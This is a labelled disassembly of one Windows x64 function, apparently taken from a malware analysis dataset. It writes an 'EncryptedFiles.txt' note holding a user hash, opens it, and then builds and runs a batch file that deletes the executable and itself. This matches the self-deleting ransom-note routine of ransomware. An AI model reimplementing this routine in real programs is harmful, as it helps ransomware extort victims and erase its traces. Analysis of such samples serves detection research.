Function at 0x140005610
Capabilities:
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x140012040]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
xor r15d, r15d
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140005673
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
lea rax, [rbp + 0x1d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140005690
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x78]
call fcn.140008950
nop
movabs r14, 0x7fffffffffffffff
mov rax, r14
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x13
jb 0x140005ba8
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], 0x13
lea rax, str.EncryptedFiles.txt
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
call fcn.140009120
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8d, 2
lea rcx, [rbp + 0xc0]
call fcn.140006f90
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], r12
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
cmp qword [rbp + 0x148], 0
je 0x1400057e6
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x14000577b
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.140009510
lea rdx, str._n_nUser_hash:
mov rcx, rax
call fcn.140007f30
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x1400057a7
mov rsi, qword [rsi]
mov rdx, rsi
mov rcx, rax
call fcn.140009510
lea rcx, [rbp + 0xc8]
call fcn.140007530
test rax, rax
jne 0x1400057e6
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova r8, qword [rsp + 0x68]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword [rbx + 0x10]
sub r14, rax
cmp r14, 4
jb 0x140005ba2
mov r9, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140005833
mov r9, qword [rbx]
mov qword [rsp + 0x30], 4
lea rcx, str..bat
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x48]
call fcn.140009120
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8d, 2
lea rcx, [rbp - 0x50]
call fcn.140006f90
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], r12
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
cmp qword [rbp + 0x38], 0
je 0x140005936
lea rdx, str._echo_off_n
lea rcx, [rbp - 0x50]
call fcn.140007f30
lea rdx, str.del__
lea rcx, [rbp - 0x50]
call fcn.140007f30
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x1400058e1
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140009510
lea rdx, [0x14000d8c4]
mov rcx, rax
call fcn.140007f30
lea rdx, str.del___f0__n
lea rcx, [rbp - 0x50]
call fcn.140007f30
lea rcx, [rbp - 0x48]
call fcn.140007530
test rax, rax
jne 0x140005936
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r8, qword [rsp + 0x48]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], r12
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rbx, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x48], rbx
cmp qword [rbp + 0x38], 0
je 0x1400059bc
lea rcx, [rbp + 0x28]
mov rax, qword [rbp - 0x30]
cmp qword [rax], rcx
jne 0x1400059bc
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x40]
mov qword [rax], rcx
mov rax, qword [rbp - 0x10]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 8]
mov dword [rax], edx
cmp byte [rbp + 0x34], 0
je 0x1400059cb
lea rcx, [rbp - 0x48]
call fcn.140007530
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140005a2b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab9c
movdqa xmm0, xmmword [0x14000de90]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], r12
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0xc8], rbx
cmp qword [rbp + 0x148], 0
je 0x140005ab3
lea rcx, [rbp + 0x138]
mov rax, qword [rbp + 0xe0]
cmp qword [rax], rcx
jne 0x140005ab3
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x150]
mov qword [rax], rcx
mov rax, qword [rbp + 0x100]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x118]
mov dword [rax], edx
cmp byte [rbp + 0x144], 0
je 0x140005ac8
lea rcx, [rbp + 0xc8]
call fcn.140007530
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140005b30
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab9c
movdqa xmm0, xmmword [0x14000de90]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140005b81
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab9c
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14000a900
add rsp, 0x3f0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400011e0
nop
call fcn.1400011e0
int3